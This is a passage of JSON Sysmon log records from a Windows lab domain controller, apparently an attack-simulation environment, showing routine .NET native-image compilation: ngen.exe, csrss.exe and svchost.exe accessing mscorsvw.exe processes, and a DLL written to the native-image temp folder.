C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-001003461100}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.995","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-001003461100}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.995\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-001003461100}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.995","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-001003461100}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-001003461100}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-001003461100}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:33.057\r\nProcessGuid: {90617006-4350-5F2D-0000-001003461100}\r\nProcessId: 4440\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1158-0\\Accessibility.dll\r\nCreationUtcTime: 2020-08-07 12:04:33.057","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:33.057","ProcessGuid":"{90617006-4350-5F2D-0000-001003461100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1158-0\\Accessibility.dll","CreationUtcTime":"2020-08-07 12:04:33.057","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4351-5F2D-0000-00104B491100}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4351-5F2D-0000-00104B491100}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4351-5F2D-0000-00104B491100}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4351-5F2D-0000-00104B491100}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4351-5F2D-0000-00104B491100}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4351-5F2D-0000-00104B491100}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010E8E10F00}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 